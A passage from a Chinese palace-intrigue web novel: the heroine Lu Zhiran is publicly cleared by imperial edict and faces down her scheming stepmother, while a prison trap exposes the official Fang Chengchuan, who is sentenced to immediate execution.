前脚陆知苒刚走,后脚,刚在柔妃那里请完安的萧晏辞就来了。 他依旧一副风风火火的架势,一进来就急吼吼地道,“父皇,平乐县主来向您邀功了?” 这话问得没头没脑,德丰帝脸上浮出几分疑惑。 “邀什么功?” 萧晏辞的神色一顿,似是意识到什么,连忙改口。 “没,没什么。” 他试图转移话题,但那副模样俨然是欲盖弥彰。 德丰帝微微眯了眯眼,“说,是怎么一回事?” 在德丰帝威严的目光注视下,萧晏辞才慢腾腾地从怀里掏出一样东西。 “这份地形图和布防图,是平乐县主交给儿臣的。” 德丰帝狐疑地接过,两张纸都有些陈旧破损,上面的线条歪歪扭扭,字迹也十分拙劣,显然不是出自陆知苒之手。 待看到上面标注的“金矿”二字,德丰帝这才反应过来这是何处的地图。 他一下正了神色,“你说这是平乐县主给你的?” 萧晏辞点头。 “那她又是从何处所得?” “是从那伙歹人的身上搜出来的。儿臣便是靠着这份地图,顺利攻下灵猴寨,找到了那金矿。所以儿臣以为她是向您邀功来了。” 德丰帝的眉头紧缩,露出沉吟之色。 竟还有此番内情? 可方才,陆知苒来向自己请罪之时却是只字未提。 她当真半点都不想替自己邀功? 德丰帝转眸看他,“怎么,你莫不是还想独吞了这份功劳?” 萧晏辞立马喊冤,“儿臣岂是这样的人?儿臣只是顾及她的名声,才没有第一时间向父皇回禀此事。” 这个说辞倒是说得过去,德丰帝神色稍霁。 萧晏辞又不放心地嘱咐,“女子名声金贵,此事您可要替她保密,就算要赏她,也要寻个旁的由头。若让旁人知晓她当真遇到过山匪,只怕又不知要编排出什么难听的话来。” 德丰帝剜他一眼,“就你会做好人,朕就是个恶人。” 萧晏辞立马奉承,“当然不是,父皇您对待后辈最是宽厚,方才多亏了您在朝堂上替她作证,才洗刷了那些莫须有的污蔑。” 德丰帝哼了一声。 总算说了句人话。 萧晏辞又自顾自地道:“说来,平乐县主的命格倒是有些特殊。前头接连为朝廷分忧,让朝廷平安度过了两个劫难。这次有心人要害她,她反倒逢凶化吉,还帮朝廷寻到了一处那么大的金矿。她说不定就是大齐朝的福星。” 德丰帝心念不禁微微一动。 这么说,好像也没错,她的确给大齐朝带来了不少福运。 萧晏辞暗觑着德丰帝的神色,将他面上的若有所思尽收眼底。 有些话,点到为止即可,说多了,反而适得其反。 这件事,陆知苒的功劳不可磨灭,他实在没法心安理得地独占。 思来想去,他才终于想到了这个说辞,替陆知苒邀功,同时,他还要给那幕后之人上一上眼药。 “父皇,儿臣审过那几个意图掳走平乐县主之人,也审过灵猴寨之人,基本上可以断定他们是两伙人。所以究竟是谁想要对付平乐县主?那伙人又怎会有灵猴寨的地图?这一点儿臣一直没想通。” 德丰帝的眸色瞬间深了几分。 有人早就知道了贺连山的秘密,却隐而不报,只怕所图不小! 若非陆知苒阴差阳错之下得到了那张地图,那偌大的金矿,恐怕就要落到别有居心之人的手中。 “那几个人证,给朕严加审问!不论使用什么手段,都必须给朕撬开他们的嘴!” “父皇,儿臣有一个法子。” 他对德丰帝如此这般一番细说,德丰帝缓缓点头。 “好,此事便这么办!” 散朝后,方成川寻了个借口告了假,匆匆回了家,与父亲商议此事。 本朝严禁朝廷命官豢养死士,方家的这批人,也是方成器养的,他们没少替方成器干那些脏事。 方成器出事后,这批人便顺理成章地为方成川所用。 这是方成川安排他们干的第一桩差事,没曾想就办砸了! 他必须弄清楚,瑾王究竟抓到了哪些活口,绝不能让他们有开口说话的机会! 方氏母女每天都派人打听外面的情况,有关陆知苒的谣言甚嚣尘上,她们都觉得痛快极了。 陆映溪的脸上露出癫狂的笑,“贱女人,这都是她该受的!” “我听说瑾王殿下剿匪成功了,不知他把那女人救出来没有。娘这就派人去打听。” 方氏立马唤来心腹,吩咐了下去。 就在这时,有婆子匆忙来禀,“夫人,二小姐,大,大小姐回来了!” 方氏精神一振,陆映溪两眼迸射出一抹灼灼亮光。 “她定是被瑾王从匪窝里救出来的!她怎么样?一定很惨吧!” 回话的婆子神色微顿,“大小姐仪容整齐,倒是看不出什么不妥。” 不仅没有不妥,看上去反而越发光彩照人! 只是这话,婆子不敢说。 第128章 跨火盆,喝符水 陆映溪心中早已有了认定,“她定是装出来的,实际上不知道被糟践成什么样了呢!门房把她放进来了吗?” 婆子摇头,“奴婢依照夫人的吩咐,让大小姐跨火盆,喝符水,去了晦气方能进门,免得冲撞了二小姐您的亲事。但大小姐她说自己清清白白,而今只是外出归家罢了,不愿意配合。眼下,她就在府门口对峙着,已然有不少百姓在围观了,夫人您看……” 陆映溪简直要笑出声来,“我正愁找不到机会当众羞辱她一番,她自己倒是主动把机会送上门来了!娘,咱们走,去会会她!” 敢在府门前对峙,她哪来的脸? 既然她要自己把脸送上来让她们打,那就不要怪她们不客气了。 陆家门口,陆知苒笔直地站着。 她身穿一袭藕荷色的缎织掐花对襟小袄,外披一件花开富贵的嫣红斗篷,面容藏在蓬松的绒毛之内,越发衬得她肌骨亭匀,艳丽无双。 此时,她的面容一派沉静,那双漂亮的眸子无波无澜,透着股凛然不可侵犯的清冷。 陆府门前围满了看热闹的百姓,大家交头接耳,低声议论。 眼看围观的人越来越多,陆家的门房开始汗流浃背起来。 “大小姐,您看,外头有这么多百姓在看着,要不您就先进府,咱们有事回府里说。” 丹烟双手叉腰,狠狠啐了一口。 “是我家小姐不想进府吗?是你们这些不长眼的狗东西欺人太甚!回自己家竟然还要跨火盆,喝符水,你们这是不把谁放在眼里?” 门房赔笑道:“并非小的要为难您,实在是夫人有令,小的不得不从啊。” 陆知苒看向他,眼神清凌凌的,“既如此,就等母亲来了,把话说清楚再进门也不迟。” 这时,方氏和陆映溪相携而来。 一见到陆知苒,方氏就抬手开始抹眼泪,“我可怜的苒姐儿啊,你总算是回来了,你真是吃苦了!早知道你会被山匪掳走,当日我就不该答应让你出城去庄子。你本就是二嫁之身,而今又在匪窝里待了好几日,日后要如何嫁人啊!” 方氏满腹悲痛的模样,嗓门却半点没有压低,传出去老远。 陆映溪的目光落在陆知苒的脸上,似一条毒蛇,十分阴毒。 她想要从陆知苒的脸上看到一点强颜欢笑的痕迹,但却完全没有找到。 她看上去甚至比以往更加容光焕发,美艳动人。 没有看到自己想象中的场景,陆映溪的心中升起极大的落差,面容不禁微微扭曲。 陆知苒淡淡开口,“母亲这话是何意?女儿何时被山匪掳走了?这饭可以乱吃,话可不能乱说。” 方氏表情微顿,她也发现了,陆知苒似乎有些过于平静了。 这是怎么一回事? 陆映溪冷幽幽地开口,“谁不知道你被山匪掳走,失了清白,你又何必故意在人前演戏?” 方氏伸手拉住陆知苒,叹息一声,“苒姐儿,母亲知道你受了折辱,心里无法承受,但事情已经发生了,你也只能认命。” “怪母亲,一心担心你的安危便派人报了官,没能替你遮掩下这桩丑事,但好在,你被好好地救回来了。只要人回来了就好!” 她想趁机掀开陆知苒的衣袖,看看她手臂上有没有男人留下的痕迹,但被陆知苒一个巧劲甩开了。 “母亲多虑了,女儿好端端的,不曾被山匪掳走,外头的那些流言蜚语,全都是无稽之谈。” 陆映溪拔高了声音,“怎么可能?你以为你换上这副体面的装扮就能掩盖此事吗?大家都有眼睛,都有脑子,可不会随随便便被你糊弄。” 陆知苒似笑非笑地看着她,“凡事可都要讲证据,妹妹空口白牙就来污蔑我,不知道的还以为你和那所谓山匪是一伙的呢!” 方氏表情微变。 为免陆映溪口无遮掩说错话,她立马抢过话头。 “苒姐儿你这是什么话?你妹妹也是关心你。” “平白无故冤枉我被山匪掳走,毁了清白,这样的关心,恕我实在消受不起。” 方氏冷笑,不再与她虚以为蛇,“那日护送你的侍卫亲口所说,你的的确确是被山匪掳走了。而后,朝廷又派了两千兵马上山剿匪,这才把你救了出来,这些都是事实,你妹妹何时冤枉了你?” 陆知苒眸底藏着一抹冷光,“看来母亲这是愿意相信闲杂之人的话,也不愿意相信我。” 方氏叹息,“苒姐儿,你突遭变故,不愿面对,母亲能理解,但你妹妹没多久就要出嫁了,这是一桩大喜事,不能受了冲撞。今日便委屈你,把这火盆垮了,符水喝了,也去一去你身上的霉运和晦气,保你日后诸事都顺顺遂遂,不会再遭遇这般变故。” 说着,方氏就示意下人把火盆和符水都端了上来。 陆映溪一副看好戏的模样,冷眼看着她,等着她的反应。 陆知苒迎视着她们,“今日我若是不跨这火盆,不喝这符水,是不是就进不了这道门?” 方氏一脸为难,“苒姐儿,并非母亲要故意为难你,实在是……你的这桩丑事太过不吉利,恐会对你妹妹,对你父亲有妨碍。” 陆映溪眼神阴鸷,语气尖锐,“母亲,何必与她废话?像她这样名声尽毁的女人本就不该再回陆家,您对她仁慈,她却不领情,既如此又何必勉强?直接送到家庙去,青灯古佛伴一生便是!免得陆氏其他未出阁的姐妹婚事都要受她牵连,父亲的仕途也要受阻碍。” 方氏假意斥责陆映溪,语气却是不痛不痒,没有半分威慑力。 陆知苒唇角噙着一抹似笑非笑,“有些人当真自以为是。既然与你们说不通,那我们便在这里等父亲回来主持公道吧。” 陆映溪冷笑,“既然你不嫌丢人,那就等着吧!” 父亲是什么样的人,她难道还不清楚?出了这样天大的丑事,父亲定然第一个想把她撵到家庙去,她竟然还天真地把希望寄托在他的身上,真是可笑。 第129章 这个玩笑一点不好笑 方氏对上她那抹泰然自若的神色,心里隐约生出几分不安。 她难道还有什么翻盘的底牌?不可能,名声之事不比其他,不是靠她一张嘴就能解释清楚的。 老爷那么精明之人,也定不会听信她的辩解。 方氏派人去请陆贯轩,他匆匆赶了回来。 看着府门前的情形,他眉头就蹙了起来。 “这是怎么一回事?” 那么多人围在陆府门口,这是唱大戏呢。 方氏正待开口,人群外传来一阵骚动,紧接着,一道又尖又细的声音传来。 “圣旨到!” 陆知苒眼底闪过一抹诧异。 方氏心头莫名狠狠一跳,一股不好的预感缓缓冒了出来。 宣旨之人,竟是冯有才,他是德丰帝身边的第一红人,由此可见,这道圣旨的分量之重。 这是给谁的圣旨? 来不及细想,众人齐齐跪下。 冯有才走到陆知苒跟前,声音微微含笑,“平乐县主接旨。” 陆知苒压下疑惑,朗声开口,“臣女陆知苒接旨。” “奉天承运,皇帝诏曰。三日前,平乐县主入宫陪伴九公主,却因此被有心之人刻意污蔑,损毁名声,朕心甚愧。今特赐玉如意一对,金玉枕一个、金丝福禄双面绣一副,冰蚕丝锦缎十匹……以作安抚。钦此。” 随着宣读完毕,便有禁军抬着一箱箱赏赐上前,陆府门口瞬间摆得满满当当。 方氏满脸错愕,难以置信,一口银牙险些咬碎。 皇上竟然亲自下旨为她澄清此事,她何德何能? 陆映溪险些当场失态,被方氏用力地拉住了。 不管她们相不相信,这是皇上对此事的盖棺定论,她们就得认! 敢质疑圣旨,便如同冒犯圣颜,这番后果,岂是她们承受得起的? 陆贯轩很意外,但更多的是惊喜。 这个女儿当真深得圣心啊! 陆知苒这个当事人都有些发懵,完全没反应过来。 临出宫前,她才刚向皇上负荆请罪,彼时皇上虽然没有怪罪之意,但也绝不像是要厚赏,为她做脸的态度。 这道圣旨和赏赐,无疑是皇上给她的最直接的证明,其分量,甚至比今日在早朝上的那番话更加重。 陆知苒心头升起一股潮热。 “臣女谢皇上隆恩!” 冯有才将圣旨交到她手里,似看出了她眼底的疑惑,他低声道:“瑾王殿下向皇上进言,他发现金矿之功劳,也有县主的一份力,皇上龙心甚悦,特赐下恩赏。县主乃大齐朝的福星,这些都是你应得的。” 陆知苒一怔,没想到竟是萧晏辞替他请了功。 他是如何解释那地形图和布防图的来源,还能让皇上不起疑? 压下心头的思绪,她示意翠芙给冯有才送上一个分量厚重的荷包,又给每个帮忙抬东西的禁军赏了一片金叶子,众人都被她的出手大方震住了。 陆贯轩觉得她行事大气,没有落了陆府的脸面,十分满意。 他满脸笑容地邀请冯有才等人入府喝茶,又连连赔礼,“方才就应当把诸位迎入府中才是,实在太过失礼。” 冯有才尚未开口,陆知苒就歉然开口,“原本自当如此,但母亲说我身上有晦气,不吉利,需跨火盆,喝符水方能进门。为了不冲撞了妹妹的亲事,我自是不进门为好,倒是怠慢了冯公公和诸位官爷,实在失礼。” 此言一出,方氏的脸色顿时变得十分难看,陆贯轩没想到还有这么一茬,恼得狠狠剜了方氏一眼。 方氏勉强撑起一个干巴巴的笑脸,连忙解释。 “这都是误会,误会,苒姐儿,方才是母亲误会了你,什么火盆符水,母亲都让人撤下去了,你可千万不要放在心上。” 陆贯轩也跟着打圆场,再次邀请众人入府小坐。 冯有才面上含笑,语气却透着冷淡。 “咱家就不叨扰了,以免咱家这不全之人冲撞了贵府的亲事。” 方氏的脸瞬间惨白,陆贯轩心头也是一紧。 “冯公公这是什么话?您是最有福分之人,我们沾您的光还来不及,又怎会冲撞?” 冯有才依旧笑着婉拒,“咱家还得回去圣上跟前当差,这盏茶只能改日再喝了。” 说完不等陆贯轩再说些什么,转身离开,陆贯轩的脸色顿时不大好看。 方氏赶紧转移战火,“苒姐儿,你就算对我有再多不满,也不能当着冯公公的面说啊,若是让冯公公误会了,传到皇上耳里,岂不是要对老爷也生出误解?” 这话说到了陆贯轩的心坎上,方氏如何且不说,但陆知苒方才的确太不识大体,怎能在外人面前拆自家的台? 陆知苒半点不在乎陆贯轩的想法,神色冷淡地道:“我说的都是事实,这么多双眼睛都看着,就算我不说,也藏不住。母亲口口声声称我身上有晦气,万一当真冲撞了妹妹的这门万里挑一的好亲事可怎么是好?正好,先前皇上赏赐给我的县主府也差不多修葺好了,我这段时间便暂时住那边吧。” 方氏狠狠呕了一口老血。 真让她搬到县主府去,自己就得担个逼走嫡女的名声,那里子面子都不占了。 “老爷,您瞧瞧苒姐儿,妾身不过是与她开个玩笑,她就如此记仇,还要搬出去,这传出去,老爷您的面子往哪里搁?” 陆贯轩也觉得陆知苒太过拿乔,顿时沉了脸。 陆知苒半点不买账,“母亲,您的这个玩笑是把我的名声往地上踩,可半点都不好笑。” 陆贯轩沉声开口,“苒姐儿,你休要胡闹。你现在乃待嫁之身,如何能搬出去?” “皇上既然赐了我县主府,自然就是让我去住的,有何不妥?母亲既然如此容不得我,我又何必自讨没趣,硬要往她跟前凑?” 陆知苒态度强硬,半点都不肯退让,方氏的脸色顿时难看到了极致。 陆知苒转身吩咐人要把那些赏赐抬走,陆贯轩见她来真的,又狠狠剜了方氏一眼。 “还愣着做什么!还不快给苒姐儿道歉!” 皇上一再抬举陆知苒,这对陆贯轩,对陆家都是有益无害,傻子才会让她搬出去。 人是方氏得罪的,那就由她低头,把人哄回来! 第130章 你不是说万无一失吗? 方氏恨得面容都在扭曲,却不得不咽下这口气,主动低头求和。 “苒姐儿,对不住,先前,是母亲误会了你,母亲行事不妥,让你受委屈了!你大人大量,莫与母亲一般见识!” 陆知苒依旧没有搭话,只是眼神淡淡地往陆映溪的身上瞟。 方氏咬牙,转头对陆映溪道:“溪儿,给你姐姐赔不是!” 陆映溪眼神怨毒地盯着陆知苒,恨不得在她的身上盯出两个窟窿来。 她怎么会在宫里?她明明该被山匪掳走的,怎么可能在宫里? 陆映溪想不通,更是千百个不愿意道歉。 方氏暗暗掐了她一把,她吃痛回神,嘴唇翕合,半晌,终于从齿缝里挤出一句话。 “姐姐,对不起!” 陆贯轩看着陆知苒,眼神中带上了两分压迫。 “你母亲和妹妹都已经向你致歉,你也当大度些才是。归根结底,我们都还是一家人。” 陆知苒知道,事情到这儿,火候差不多了,再继续拿乔,就适得其反了。 陆知苒缓了神色,露出一抹淡淡笑意。 “父亲说得对,今日之事都是一场误会罢了。” 方氏也扯出一抹笑,“那我们赶紧进府吧,别站在门口,叫人看笑话。” 陆知苒从善如流地点头,脚步轻盈地迈步而入。 陆贯轩看着这个女儿,一时不知该喜该忧。 她有好本事,能讨得皇上青睐,但也越发心高,连自己这个父亲也开始不放在眼里了。 回到云烟阁,陆映溪气得在自己屋子里疯狂打砸,原本甜美娇俏的面容也一片扭曲阴鸷,令人见之胆寒。 方氏赶到时,险些被她扔出来的茶具误伤。 “滚,都给我滚!” “溪儿,是娘亲。” 陆映溪打砸的动作停了下来,转而变成了呜呜的哭声。 方氏快步入内,看着一地狼藉,眉眼一厉,“都死了不成?还不快把东西收拾了!” 一众丫鬟立马飞快上前收拾残局,很快把屋子收拾好,又十分有眼色地小心关上房门。 方氏走到陆映溪身边,轻轻搂着她,“溪儿,别哭了,哭解决不了任何问题。” 陆映溪双目赤红,看向方氏的眼神也充满了怨怪,“你不是说万无一失吗?为什么会这样?她非但没有出事,还得了皇上的厚赏!你是不是一直在骗我?” 对上女儿那怨怼的眼神,方氏的神情一滞。 “娘也没想到事情会变成这样,分明已经安排妥当了……” “就是你们无能!被她耍得团团转而不自知,害我白高兴一场,还被她看了一场笑话!” 面对女儿的责怪,方氏哑口无言。 她如何会不恨?但她们姑息大意了,这才败得凄惨。 “溪儿,这次是母亲没有计划周全,下次定不会让她轻易逃脱!” 话虽如此,她们都知道,陆知苒难缠,下次想再对付她,只怕更加难了。 “溪儿,那小贱人交给母亲,母亲向你保证,定会让她受到应有的教训,你什么都不用管,母亲这就送你离开……” 陆映溪怒声咆哮,“我不走!那小贱人不死,我就不走!” 方氏大急,“对付她还需从长计议,一时半会儿只怕难以成事,你若不走,就来不及了!你难道真的要嫁进姜家吗?” 陆映溪神色癫狂,“只要能报仇,嫁进姜家我也在所不惜。” 方氏一再劝说,陆映溪却是着了魔般完全不为所动,反而口无遮拦地说了许多戳方氏心窝子的话,方氏气得抹眼泪,却又舍不得对自己女儿说重话,只能把一切罪责都怪在陆知苒的身上。 方氏走后,陆映溪独自在屋中坐了许久。 既然旁人靠不住,她就自己动手! 她只要好生谋划,定能把陆知苒置于死地! …… 宣平侯府。 楚翊安带着满身风尘与疲倦回到府中。 此行剿匪,他的心情可谓跌宕起伏。 本是为了救人,但攻上山寨却发现陆知苒压根没在山寨里。 本以为此行寸功都捞不到,没曾想,竟有人发现了金矿! 原来,这才是灵猴寨真正的秘密。 这也让楚翊安再次确定一个事实,这伙山匪不可能下山劫掠百姓,因为他们要遮掩这个大秘密。 这个秘密的发现让众人十分振奋,这是个大功劳,作为参与者,他们或多或少都能分一杯羹。 楚翊安却有些高兴不起来。 瑾王接二连三地、立下功劳,这对六皇子而言可不是什么好消息。 侯府已经上了六皇子的船,就没有回头路可走。 若六皇子败了,瑾王登上了那个位置,那迎接侯府的,将是一场毫不留情的清算。 他忧心忡忡地思考着侯府的未来,永福居那头第一时间就派人来请他过去用膳。 楚翊安压下心头思绪,飞快梳洗一番,这才往永福居而去。 一见到他,姜氏便热切追问,“安儿,怎样?你有没有救出陆知苒?” 楚翊安的神色微顿。 楚云清也迫不及待地追问,“她的下场一定很凄惨吧!她长得那般模样,在匪窝里待了三天,定然早就被糟蹋了不知多少遍了。” 她说这话时,眸底满是阴狠恶毒。 楚翊安心底生出一股深深的厌烦。 “这是你一个未出阁的姑娘应该说的话吗?” 楚云清满脸不以为意,“我说这话怎么了,这也是实话啊。” “你亲眼看到了吗?就敢说这是实话?你再这般口无遮拦,日后嫁了人岂不是要给侯府招祸?” 侯府的前路本就不明朗,她又这般恶毒蠢笨,楚翊安实在烦透了。 楚云清被训得脸色难看极了。 “你竟然为了陆知苒吼我?事到如今,你难道还对她余情未了?” 楚翊安觉得她简直不可理喻。 姜氏连忙安抚楚云清,又不满地对楚翊安道:“安儿,你怎能这么对你妹妹说话?她也没说错什么,陆知苒都进了匪窝,难道还会有清白在?” 楚翊安冷冷道:“陆知苒没有被掳上山,此事只是谣传,你们莫要再人云亦云!” 楚云清不愿相信,尖声大喊,“不可能!外头都传遍了……” 这时,一道声音从外面传来,“外头的风声已经变了。” 第131章 请君入瓮 赵书宁大步而入,面上笼着一层寒霜。 细看的话,还能看到她脸上多了一道红肿的巴掌印。 “你们还不知道吧,陆知苒这三日一直在九公主的长乐宫,今日早朝,皇上当众为她证明清白。先前熠表哥公然污蔑她失了清白,陆大人一怒之下把舅舅参了一本,舅舅被降职一级,罚俸半年!朝堂上的所有官员也被皇上敲打了一番。你们现在还认不清局势,胡言乱语,那就是给侯府招祸。” 听了赵书宁这话,姜氏和楚云清都傻眼了,楚翊安的眸色也深了几分。 此事闹得满城风雨,最后处于舆论中心的陆知苒反倒全身而退,半点污点都没沾,当真只是运气好吗? 只怕未必。 楚云清不停低喃,“怎么可能?这怎么可能?” 却无人搭理她。 赵书宁转眸看向楚翊安,“翊安,瑾王还在灵猴寨发现了金矿,对不对?” 楚翊安回神,神情艰涩地点头。 “你亲眼所见?” 楚翊安再次点头,“亲眼所见,是货真价实的金矿,肉眼可见含金量十分可观。” 赵书宁心中最后一丝侥幸都没了。 今日下朝后,萧晏清去给李贵妃请安。 这些事,便出自他之口。 李贵妃气急败坏地怒骂,“又是因为陆知苒!先是城外收容所,后是贺连山金矿,萧晏辞每次都是因为她才立了大功,此女不除,实在难消我心头之恨!” 李贵妃又想起赵书宁在慈光寺失手之事,心生迁怒,抬手就给了她一记耳光,当时她半边脸都麻了。 她自是不敢为自己辩解,却在心中把陆知苒恨上了。 楚云清一听到金矿,眼睛都亮了。 “发现了金矿?这可是大功啊,哥哥你是不是又要升官了?” 无人回答她这个愚蠢的问题。 赵书宁满脸凝重地看着楚翊安,“翊安,我们得坐下来好好商议一番,不能让局势继续发展下去。” 楚翊安缓缓点头。 他们与六皇子一荣俱荣,一损俱损,必须想法子自救。 他与赵书宁之间就算已经生了嫌隙,但却不得不承认,在这样的大事上,与赵书宁商议才能得到行之有效的计策。 “去外书房。” 二人向姜氏告退,便相携离去。 楚云清还没有弄清楚状况,“娘,他们怎么不理我?哥哥是不是要升官了?” 姜氏也被她蠢得没眼看了。 “你……你还是好好待在府里,做做女工吧,其他事不要操心了!” 就不要来添乱了。 感觉自己被嫌弃了,楚云清十分不满,重重哼了一声。 这一晚,不知有多少人失眠。 陆知苒也迟迟未睡。 她在书房忙碌许久,终于把所有东西归类整理妥当。 “让林骁给瑾王殿下送去。” 这份东西,才是她送给方成川真正的大礼。 方成川倒了,萧晏辞也可趁势把自己的人扶上去。 光在民间积攒威望是不够的,在朝堂上,更要有自己的人。 今夜大理寺灯火通明,大理寺卿宋山辉亲自坐镇,严审那几名活口。 但对方嘴巴很硬,不仅不愿开口,还数次想咬舌自尽,审问的进程十分艰难。 因为用刑过重,有个证人咽了气,这场刑讯被迫中断。 就这么接连审了三日,依旧毫无进展,在朝堂上,秦中举故意出言询问,言语大有奚落嘲讽之意,宋山辉憋屈得无言以对。 当晚,宋山辉又用了一场大刑,依旧没能撬开他们的嘴,他心头不禁笼上一层焦躁。 若他办砸了此案,秦中举定会趁机参自己一本,在皇上那里也没法交代。 傅子诚主动请缨负责此案,宋山辉正愁没有担责之人,便顺水推舟的答应了。 宋山辉撂下话,“两天之内,必须要给我审出个结果来,不然唯你是问。” 傅子诚连连称是。 谁料,他接管此案的头一晚,大理寺就出了乱子。 “走水了,走水了,快救火!” 随着这一声急呼,整个大理寺都沸腾起来,所有狱卒都匆忙赶去救火,那间关着要犯的牢房反倒无人顾得上。 就在这时,有一道鬼祟的人影飞快朝那间牢房靠近,手法娴熟地打开门锁。 他从袖中露出一抹短刀,眼底闪过一抹杀意。 就在举起刀要给那几人抹脖子的时候,原本已经瘫软在地,出气多进气少的几人,倏而睁开了眼,眼底一片清明。 再细看,他们也压根不是自己要找的人。 这俨然是个请君入瓮的局。 黑衣人面色大变,眼底闪过一抹决绝,正待咬破毒囊自我了断,下一瞬,下巴就被人卸下,腿弯被人狠踹,双手也被反剪,整个人像王八一样,被绑了个结结实实,动弹不得。 萧晏辞缓步从阴影处走了出来,眸底透着森然的冷意。 今夜,方成川的眼皮一直不停地跳。 派出去的人彻夜未归,他的心一点点往下沉。 翌日,他顶着发黑的眼圈去上朝,整个人的精神都有些恍惚。 早朝上,秦中举再次找茬,追问起了山匪一案的进度。 “宋大人若是力有不逮,就趁早把人交给我们刑部,免得耽误了案情。” 宋山辉脸色难看,一时不知如何反驳。 就在这时,傅子诚出列,朗声开口,“关于此案,微臣有本要奏。” 方成川心头一跳。 德丰帝看了他一眼,“说。” 傅子诚声音高亢,“回皇上,昨夜大理寺突发走水,有人趁乱潜入狱中,意图对此案重要人证杀人灭口。幸而宋大人明察秋毫,早早吩咐本官做好防范,来了个瓮中捉鳖,顺利将其擒获。经过一夜严刑拷打,终于顺利撬开了对方的嘴,审出了其幕后主使,此乃案宗,还请皇上过目。” 傅子诚将手中的奏折呈递上去。 宋山辉懵了,他完全不知此事。 但很快反应过来,这是傅子诚在给他做脸,他立马正了正色,摆出一副早就了然于胸的傲然模样。 德丰帝很快看完了,脸上顿时笼上一层寒霜。 大手在龙椅上重重一拍,目光锐利地在堂下众人面上扫过。 “没想到,朕的手底下,竟然还有如此胆大包天之徒!真是吃了熊心豹子胆了!此事是谁做的,自己站出来,朕还能网开一面,若不然,就不要怪朕手下不留情!” 堂下一片静谧。 无人开口,无人抬头,更无人站出来。 大家不禁在心中猜测,今日倒霉的会是谁。 而有些人,已是汗流浃背。 第132章 即刻问斩 大殿内气氛紧绷到极致,就在德丰帝耐心即将耗尽时,方成川终于颤颤巍巍地出列,叩首。 “皇上,微臣有罪!微臣明知家兄豢养死士,却不加阻拦,而今家兄锒铛入狱,秋后便要问斩,微臣亦没有好生安置那些死士,只随意将人打发。微臣也没想到,他们有手有脚,好好的营生不做,偏要剑走偏锋,做那烧杀劫掠的勾当。微臣失察,实在罪该万死!” 说完,他便重重磕头,“咚咚咚”的巨响在大殿内回荡,不多时,他额头上就磕得血肉模糊。 德丰帝眼神锐利地看着他,“这么说,你对此事毫不知情?” 方成川满脸愧悔,“微臣此前的确对此事毫不知情,实在该死!” “昨夜潜入大理寺之人也与你无关?” 方成川一口咬定,“与微臣没有半点相干,微臣若知他们要做这等大逆不道之事,定会出手阻拦。” 德丰帝冷笑,“既如此,你又如何确定大理寺关的那些人,就是方成器养的那批死士?” 方成川颤声,“微臣不能确定,但微臣隐瞒了家兄豢养死士之事乃是事实,微臣心中一直惴惴难安,现在不敢再心存侥幸。若那些人当真是家兄豢养的死士,微臣万死难辞其咎。若不是,微臣也甘愿领受责罚!” 这番话言辞恳切,却把责任都推到方成器的头上,把自己撇得一干二净,叫人抓不到半点错处。 唯一的错,就是失察之责。 傅子诚暗暗皱眉,“方大人,昨夜那名黑衣人可不是这么说的。” 方成川一副义正言辞的模样,“本官愿意与他当面对质,如有必要,也愿意和家兄当面对质!皇上明察秋毫,定然不会冤枉任何一个无辜之人。” 双方来回争辩就几个回合,方成川都一口咬定自己不知情,场面一时陷入僵持。 这时,一人出列,“皇上,微臣有本要奏,也是与方大人有关。” 此人名为盛荣欢,与方成川同为太常寺的官员,二人素日并无过多往来,他此时跳出来,令方成川心中莫名忐忑。 盛荣欢朗声开口,“微臣要检举方成川方大人利用职务之便,在负责祭品采买之时谎报账目,以次充好,中饱私囊,从中谋利!此等行径,不仅触犯了朝廷的律法,更是对诸位先皇列公的大不敬,请皇上严惩!” 此言一出,方成川面色大变。 “你,你血口喷人!” 盛荣欢并不理会方成川,而是直接拿出一份册子,“此乃微臣整理的证据,每一年的账目和条例都记录得一清二楚,请皇上过目。” 方成川闻言,脸色又白了几分,整个人彻底乱了阵脚。 前头死士之事,他或许还有几分狡辩的余地,但眼前这桩事打了他个措手不及,他根本不知要如何辩解。 祭祀乃关涉国运的大事,此桩罪名一旦落实,他就是板上钉钉的死罪! 对方手里还有一份所谓的账册! 他可禁不起查啊! 太常寺的其余人,也或多或少变了脸色。 真要算起来,他们没几人是真正干净的。 德丰帝面色黑沉,接过那账册翻看起来。 越看,他的脸色就越难看,周身气压也越发低沉。 抡起手边砚台便朝方成川砸去,“真是岂有此理!你还有什么话好说?” 方成川不敢躲,肩膀被砸得发麻,身子越发瑟瑟发抖。 “皇上明鉴,微臣冤枉,微臣冤枉啊!” 盛荣欢高声道:“皇上,微臣敢以项上人头保证,那本账册上所写的内容字字属实,只需要把那几年采买的账目一一比对,就能知道微臣没有半个字作假。” 德丰帝沉着脸,“来人,去把账册搬来!” 很快,那几年的账册就被搬到大殿内,户部的几位官员被分派查账,他们都是看账的老手,很快就查到了一一对应的那些账目。 果然如盛荣欢所言,那些账目看似没有问题,但实际上却是大有文章。 一场祭祀,一来一回间,他就捞了几千甚至上万两的油水。 方成川已是面无人色,整个人彻底瘫软在地。 德丰帝大怒,“好个胆大包天的狗东西,连太庙祭祀你都敢伸手,真是吃了熊心豹子胆了!” 傅子诚适时开口,“皇上,豢养死士所耗不匪,方家能豢养那么一群训练有素的死士,可见方家家资颇丰。这些银子是从何而来?只怕要打个问号了。” 他再次把话题拉回到那些死士身上,德丰帝的怒火更盛。 他又联想到了那张标注着金矿的地图。 那是从方家死士身上搜出来的,是不是意味着,方家此前就已然得知了灵猴寨有金矿之事,只是故意瞒报? 怀疑一起,就再也压不住,方家的头上又添了一道罪名。 德丰帝冷冷道:“方成川借着职务之便行贪墨之举,胆大包天,枉为人臣!更私养死士,触犯朝纲,若不严惩,不足以安民心,肃风纪。传朕旨意,方成器,方成川兄弟二人,即刻问斩!” 方成川悬着的心终于死了,身下传来一阵骚臭。 一般罪犯,都是秋后问斩,只有罪大恶极者,才会即刻问斩!方家兄弟二人是触到皇上的逆鳞了。 他很快被宫人连拖带拽地带了下去。 百官末列,一人抬眸,看着他被拖走的方向,唇角勾起一抹冷笑。 料理了这么一桩事,德丰帝面色不好看,当即便想退朝。 另一位德高望重的老臣站出来。 “皇上,微臣以为,此事给我们提了个醒,有必要对太常寺上下的账目进行一番彻查,肃清朝纲。” 这个提议一出,立马就得到了众人的纷纷响应。 太常寺众人脸色都变了,太常寺卿更是如坐针毡。 有方成川的例子在前,这番彻查定然不好糊弄,他在任这么多年,屁股怎么可能干干净净? 德丰帝准了,将查账之事交给户部。 “务必要从严查起,若让朕知晓有人敢暗中做手脚,方成川的下场就是例子!” 一番敲打让众人心头一凛,对此事也一下提起十二分的慎重。 